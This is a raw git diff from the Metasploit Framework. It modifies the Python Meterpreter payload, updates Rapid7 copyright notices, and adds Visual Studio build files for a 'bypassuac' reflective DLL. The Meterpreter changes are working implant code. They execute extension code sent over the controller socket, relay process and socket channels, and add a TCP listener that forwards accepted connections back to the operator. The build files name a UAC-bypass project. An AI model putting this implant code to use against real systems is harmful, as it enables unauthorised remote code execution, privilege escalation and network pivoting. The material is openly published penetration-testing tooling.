TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
||||
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
||||
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
||||
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
||||
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
|
||||
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
||||
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
||||
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
||||
|
||||
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
||||
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
||||
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
||||
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
||||
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
||||
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
||||
|
||||
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
||||
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
||||
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
||||
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
||||
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
||||
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
||||
|
||||
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
||||
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
||||
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
||||
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
||||
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
||||
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
||||
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
||||
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
||||
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
||||
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
||||
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
|
||||
|
||||
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
|
||||
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
|
||||
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
|
||||
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
|
||||
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
|
||||
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
|
||||
|
||||
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
|
||||
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
|
||||
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
|
||||
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
|
||||
|
||||
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
|
||||
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
|
||||
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
|
||||
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
|
||||
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
|
||||
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
|
||||
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
|
||||
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
|
||||
|
||||
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
||||
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
||||
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
||||
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
||||
|
||||
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
|
||||
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
|
||||
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
|
||||
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
|
||||
|
||||
EXPORTED_SYMBOLS = {}
|
||||
|
||||
def export(symbol):
|
||||
EXPORTED_SYMBOLS[symbol.__name__] = symbol
|
||||
return symbol
|
||||
|
||||
def generate_request_id():
|
||||
chars = 'abcdefghijklmnopqrstuvwxyz'
|
||||
return ''.join(random.choice(chars) for x in xrange(32))
|
||||
|
||||
@export
|
||||
def inet_pton(family, address):
|
||||
if hasattr(socket, 'inet_pton'):
|
||||
return socket.inet_pton(family, address)
|
||||
elif has_windll:
|
||||
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
|
||||
lpAddress = (ctypes.c_ubyte * 28)()
|
||||
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
|
||||
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
|
||||
raise Exception('WSAStringToAddress failed')
|
||||
if family == socket.AF_INET:
|
||||
return ''.join(map(chr, lpAddress[4:8]))
|
||||
elif family == socket.AF_INET6:
|
||||
return ''.join(map(chr, lpAddress[8:24]))
|
||||
raise Exception('no suitable inet_pton functionality is available')
|
||||
|
||||
@export
|
||||
def packet_get_tlv(pkt, tlv_type):
|
||||
offset = 0
|
||||
while (offset < len(pkt)):
|
||||
|
@ -111,6 +144,7 @@ def packet_get_tlv(pkt, tlv_type):
|
|||
offset += tlv[0]
|
||||
return {}
|
||||
|
||||
@export
|
||||
def packet_enum_tlvs(pkt, tlv_type = None):
|
||||
offset = 0
|
||||
while (offset < len(pkt)):
|
||||
|
@ -129,6 +163,7 @@ def packet_enum_tlvs(pkt, tlv_type = None):
|
|||
offset += tlv[0]
|
||||
raise StopIteration()
|
||||
|
||||
@export
|
||||
def tlv_pack(*args):
|
||||
if len(args) == 2:
|
||||
tlv = {'type':args[0], 'value':args[1]}
|
||||
|
@ -149,6 +184,25 @@ def tlv_pack(*args):
|
|||
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
|
||||
return data
|
||||
|
||||
#@export
|
||||
class MeterpreterSocket(object):
|
||||
def __init__(self, sock):
|
||||
self.sock = sock
|
||||
|
||||
def __getattr__(self, name):
|
||||
return getattr(self.sock, name)
|
||||
export(MeterpreterSocket)
|
||||
|
||||
#@export
|
||||
class MeterpreterSocketClient(MeterpreterSocket):
|
||||
pass
|
||||
export(MeterpreterSocketClient)
|
||||
|
||||
#@export
|
||||
class MeterpreterSocketServer(MeterpreterSocket):
|
||||
pass
|
||||
export(MeterpreterSocketServer)
|
||||
|
||||
class STDProcessBuffer(threading.Thread):
|
||||
def __init__(self, std, is_alive):
|
||||
threading.Thread.__init__(self)
|
||||
|
@ -178,6 +232,7 @@ class STDProcessBuffer(threading.Thread):
|
|||
self.data_lock.release()
|
||||
return data
|
||||
|
||||
#@export
|
||||
class STDProcess(subprocess.Popen):
|
||||
def __init__(self, *args, **kwargs):
|
||||
subprocess.Popen.__init__(self, *args, **kwargs)
|
||||
|
@ -187,6 +242,7 @@ class STDProcess(subprocess.Popen):
|
|||
self.stdout_reader.start()
|
||||
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
|
||||
self.stderr_reader.start()
|
||||
export(STDProcess)
|
||||
|
||||
class PythonMeterpreter(object):
|
||||
def __init__(self, socket):
|
||||
|
@ -201,10 +257,12 @@ class PythonMeterpreter(object):
|
|||
|
||||
def register_function(self, func):
|
||||
self.extension_functions[func.__name__] = func
|
||||
return func
|
||||
|
||||
def register_function_windll(self, func):
|
||||
if has_windll:
|
||||
self.register_function(func)
|
||||
return func
|
||||
|
||||
def add_channel(self, channel):
|
||||
idx = 0
|
||||
|
@ -235,7 +293,8 @@ class PythonMeterpreter(object):
|
|||
self.socket.send(response)
|
||||
else:
|
||||
channels_for_removal = []
|
||||
channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed
|
||||
# iterate over the keys because self.channels could be modified if one is closed
|
||||
channel_ids = self.channels.keys()
|
||||
for channel_id in channel_ids:
|
||||
channel = self.channels[channel_id]
|
||||
data = ''
|
||||
|
@ -248,7 +307,7 @@ class PythonMeterpreter(object):
|
|||
data = channel.stderr_reader.read()
|
||||
elif channel.poll() != None:
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
elif isinstance(channel, socket._socketobject):
|
||||
elif isinstance(channel, MeterpreterSocketClient):
|
||||
while len(select.select([channel.fileno()], [], [], 0)[0]):
|
||||
try:
|
||||
d = channel.recv(1)
|
||||
|
@ -258,6 +317,21 @@ class PythonMeterpreter(object):
|
|||
self.handle_dead_resource_channel(channel_id)
|
||||
break
|
||||
data += d
|
||||
elif isinstance(channel, MeterpreterSocketServer):
|
||||
if len(select.select([channel.fileno()], [], [], 0)[0]):
|
||||
(client_sock, client_addr) = channel.accept()
|
||||
server_addr = channel.getsockname()
|
||||
client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock))
|
||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open')
|
||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id)
|
||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id)
|
||||
pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0]))
|
||||
pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1])
|
||||
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
|
||||
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.socket.send(pkt)
|
||||
if data:
|
||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
|
||||
|
@ -284,7 +358,9 @@ class PythonMeterpreter(object):
|
|||
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
||||
return ERROR_FAILURE
|
||||
preloadlib_methods = self.extension_functions.keys()
|
||||
i = code.InteractiveInterpreter({'meterpreter':self, 'packet_enum_tlvs':packet_enum_tlvs, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess})
|
||||
symbols_for_extensions = {'meterpreter':self}
|
||||
symbols_for_extensions.update(EXPORTED_SYMBOLS)
|
||||
i = code.InteractiveInterpreter(symbols_for_extensions)
|
||||
i.runcode(compile(data_tlv['value'], '', 'exec'))
|
||||
postloadlib_methods = self.extension_functions.keys()
|
||||
new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods)
|
||||
|
@ -299,7 +375,7 @@ class PythonMeterpreter(object):
|
|||
|
||||
def _core_channel_open(self, request, response):
|
||||
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
|
||||
handler = 'channel_create_' + channel_type['value']
|
||||
handler = 'channel_open_' + channel_type['value']
|
||||
if handler not in self.extension_functions:
|
||||
return ERROR_FAILURE, response
|
||||
handler = self.extension_functions[handler]
|
||||
|
@ -314,7 +390,7 @@ class PythonMeterpreter(object):
|
|||
channel.close()
|
||||
elif isinstance(channel, subprocess.Popen):
|
||||
channel.kill()
|
||||
elif isinstance(s, socket._socketobject):
|
||||
elif isinstance(channel, MeterpreterSocket):
|
||||
channel.close()
|
||||
else:
|
||||
return ERROR_FAILURE, response
|
||||
|
@ -330,7 +406,7 @@ class PythonMeterpreter(object):
|
|||
channel = self.channels[channel_id]
|
||||
result = False
|
||||
if isinstance(channel, file):
|
||||
result = channel.tell() == os.fstat(channel.fileno()).st_size
|
||||
result = channel.tell() >= os.fstat(channel.fileno()).st_size
|
||||
response += tlv_pack(TLV_TYPE_BOOL, result)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
|
@ -363,7 +439,7 @@ class PythonMeterpreter(object):
|
|||
self.handle_dead_resource_channel(channel_id)
|
||||
if channel.stdout_reader.is_read_ready():
|
||||
data = channel.stdout_reader.read(length)
|
||||
elif isinstance(s, socket._socketobject):
|
||||
elif isinstance(channel, MeterpreterSocket):
|
||||
data = channel.recv(length)
|
||||
else:
|
||||
return ERROR_FAILURE, response
|
||||
|
@ -385,7 +461,7 @@ class PythonMeterpreter(object):
|
|||
self.handle_dead_resource_channel(channel_id)
|
||||
return ERROR_FAILURE, response
|
||||
channel.stdin.write(channel_data)
|
||||
elif isinstance(s, socket._socketobject):
|
||||
elif isinstance(channel, MeterpreterSocket):
|
||||
try:
|
||||
l = channel.send(channel_data)
|
||||
except socket.error:
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -878,7 +878,7 @@ The Metasploit Framework is distributed under the modified-BSD license defined b
|
|||
|
||||
{\footnotesize
|
||||
\begin{verbatim}
|
||||
Copyright (c) 2008, Rapid7 LLC
|
||||
Copyright (c) 2008, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
|
@ -891,7 +891,7 @@ are permitted provided that the following conditions are met:
|
|||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of Rapid7 LLC nor the names of its contributors
|
||||
* Neither the name of Rapid7, Inc. nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
/*
|
||||
ruby-kissfft: a simple ruby module embedding the Kiss FFT library
|
||||
Copyright (C) 2009-2010 Rapid7 LLC - H D Moore <hdm[at]metasploit.com>
|
||||
Copyright (C) 2009-2010 Rapid7, Inc - H D Moore <hdm[at]metasploit.com>
|
||||
|
||||
Derived from "psdpng.c" from the KissFFT tools directory
|
||||
Copyright (C) 2003-2006 Mark Borgerding
|
||||
|
|
|
@ -33,7 +33,7 @@
|
|||
*/
|
||||
|
||||
/*
|
||||
All ruby-lorcon/rubyisms are by Rapid7 LLC (C) 2006-2007
|
||||
All ruby-lorcon/rubyisms are by Rapid7, Inc (C) 2006-2007
|
||||
http://metasploit.com/ - msfdev[at]metasploit.com
|
||||
*/
|
||||
|
||||
|
|
|
@ -37,7 +37,7 @@
|
|||
*/
|
||||
|
||||
/*
|
||||
All ruby-lorcon/rubyisms are by Metasploit LLC (C) 2006-2007
|
||||
All ruby-lorcon/rubyisms are by Rapid7, Inc. (C) 2006-2007
|
||||
http://metasploit.com/ - msfdev[at]metasploit.com
|
||||
*/
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
/* DLLHijackAuditKit (C) 2010 Rapid7 LLC */
|
||||
/* DLLHijackAuditKit (C) 2010 Rapid7, Inc */
|
||||
|
||||
var oFso = new ActiveXObject("Scripting.FileSystemObject");
|
||||
var oShl = new ActiveXObject("WScript.Shell");
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
/* DLLHijackAuditKit (C) 2010 Rapid7 LLC */
|
||||
/* DLLHijackAuditKit (C) 2010 Rapid7, Inc */
|
||||
|
||||
function print_status(msg) {
|
||||
try {
|
||||
|
|
|
@ -0,0 +1,151 @@
|
|||
## Ignore Visual Studio temporary files, build results, and
|
||||
## files generated by popular Visual Studio add-ons.
|
||||
|
||||
# User-specific files
|
||||
*.suo
|
||||
*.user
|
||||
*.sln.docstates
|
||||
|
||||
# Build results
|
||||
|
||||
[Dd]ebug/
|
||||
[Rr]elease/
|
||||
x64/
|
||||
build/
|
||||
[Bb]in/
|
||||
[Oo]bj/
|
||||
|
||||
# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
|
||||
!packages/*/build/
|
||||
|
||||
# MSTest test Results
|
||||
[Tt]est[Rr]esult*/
|
||||
[Bb]uild[Ll]og.*
|
||||
|
||||
*_i.c
|
||||
*_p.c
|
||||
*.ilk
|
||||
*.meta
|
||||
*.obj
|
||||
*.pch
|
||||
*.pdb
|
||||
*.pgc
|
||||
*.pgd
|
||||
*.rsp
|
||||
*.sbr
|
||||
*.tlb
|
||||
*.tli
|
||||
*.tlh
|
||||
*.tmp
|
||||
*.tmp_proj
|
||||
*.log
|
||||
*.vspscc
|
||||
*.vssscc
|
||||
.builds
|
||||
*.pidb
|
||||
*.log
|
||||
*.scc
|
||||
|
||||
# Visual C++ cache files
|
||||
ipch/
|
||||
*.aps
|
||||
*.ncb
|
||||
*.opensdf
|
||||
*.sdf
|
||||
*.cachefile
|
||||
|
||||
# Visual Studio profiler
|
||||
*.psess
|
||||
*.vsp
|
||||
*.vspx
|
||||
|
||||
# Guidance Automation Toolkit
|
||||
*.gpState
|
||||
|
||||
# ReSharper is a .NET coding add-in
|
||||
_ReSharper*/
|
||||
*.[Rr]e[Ss]harper
|
||||
|
||||
# TeamCity is a build add-in
|
||||
_TeamCity*
|
||||
|
||||
# DotCover is a Code Coverage Tool
|
||||
*.dotCover
|
||||
|
||||
# NCrunch
|
||||
*.ncrunch*
|
||||
.*crunch*.local.xml
|
||||
|
||||
# Installshield output folder
|
||||
[Ee]xpress/
|
||||
|
||||
# DocProject is a documentation generator add-in
|
||||
DocProject/buildhelp/
|
||||
DocProject/Help/*.HxT
|
||||
DocProject/Help/*.HxC
|
||||
DocProject/Help/*.hhc
|
||||
DocProject/Help/*.hhk
|
||||
DocProject/Help/*.hhp
|
||||
DocProject/Help/Html2
|
||||
DocProject/Help/html
|
||||
|
||||
# Click-Once directory
|
||||
publish/
|
||||
|
||||
# Publish Web Output
|
||||
*.Publish.xml
|
||||
*.pubxml
|
||||
|
||||
# NuGet Packages Directory
|
||||
## TODO: If you have NuGet Package Restore enabled, uncomment the next line
|
||||
#packages/
|
||||
|
||||
# Windows Azure Build Output
|
||||
csx
|
||||
*.build.csdef
|
||||
|
||||
# Windows Store app package directory
|
||||
AppPackages/
|
||||
|
||||
# Others
|
||||
sql/
|
||||
*.Cache
|
||||
ClientBin/
|
||||
[Ss]tyle[Cc]op.*
|
||||
~$*
|
||||
*~
|
||||
*.dbmdl
|
||||
*.[Pp]ublish.xml
|
||||
*.pfx
|
||||
*.publishsettings
|
||||
|
||||
# RIA/Silverlight projects
|
||||
Generated_Code/
|
||||
|
||||
# Backup & report files from converting an old project file to a newer
|
||||
# Visual Studio version. Backup files are not needed, because we have git ;-)
|
||||
_UpgradeReport_Files/
|
||||
Backup*/
|
||||
UpgradeLog*.XML
|
||||
UpgradeLog*.htm
|
||||
|
||||
# SQL Server files
|
||||
App_Data/*.mdf
|
||||
App_Data/*.ldf
|
||||
|
||||
# =========================
|
||||
# Windows detritus
|
||||
# =========================
|
||||
|
||||
# Windows image file caches
|
||||
Thumbs.db
|
||||
ehthumbs.db
|
||||
|
||||
# Folder config file
|
||||
Desktop.ini
|
||||
|
||||
# Recycle Bin used on file shares
|
||||
$RECYCLE.BIN/
|
||||
|
||||
# Mac crap
|
||||
.DS_Store
|
|
@ -0,0 +1,28 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2013
|
||||
VisualStudioVersion = 12.0.21005.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "bypassuac", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Debug|x64 = Debug|x64
|
||||
Release|Win32 = Release|Win32
|
||||
Release|x64 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -0,0 +1,204 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}</ProjectGuid>
|
||||
<RootNamespace>reflective_dll</RootNamespace>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectName>bypassuac</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup>
|
||||
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||
<IntDir>$(Configuration)\</IntDir>
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||
<IntDir>$(Configuration)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<TargetName>$(ProjectName)-x86</TargetName>
|
||||
<IncludePath>$(VCInstallDir)include;$(VCInstallDir)atlmfc\include;$(WindowsSDK_IncludePath);..\..\..\ReflectiveDLLInjection\common\;..\..\..\ReflectiveDLLInjection\dll\src\</IncludePath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||
<IntDir>$(Configuration)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<TargetName>$(ProjectName)-x64</TargetName>
|
||||
<IncludePath>$(VCInstallDir)include;$(VCInstallDir)atlmfc\include;$(WindowsSDK_IncludePath);..\..\..\ReflectiveDLLInjection\common\;..\..\..\ReflectiveDLLInjection\dll\src\;</IncludePath>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
